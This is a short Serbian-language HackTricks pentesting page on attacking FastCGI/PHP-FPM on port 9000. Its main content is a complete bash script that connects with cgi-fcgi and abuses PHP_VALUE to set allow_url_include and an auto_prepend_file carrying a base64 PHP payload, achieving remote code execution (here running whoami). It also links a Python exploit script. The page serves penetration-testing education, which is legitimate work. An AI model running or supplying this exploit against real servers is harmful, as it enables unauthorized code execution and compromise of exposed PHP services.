9000 - Pentesting FastCGI

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Osnovne informacije

Ako želite da naučite šta je FastCGI pogledajte sledeću stranicu:

disable_functions bypass - php-fpm/FastCGI

Podrazumevano FastCGI radi na portu 9000 i nije prepoznat od strane nmap-a. Obično FastCGI sluša samo na localhost.

RCE

Veoma je lako naterati FastCGI da izvrši proizvoljan kod:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

ili možete koristiti sledeći python skript: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated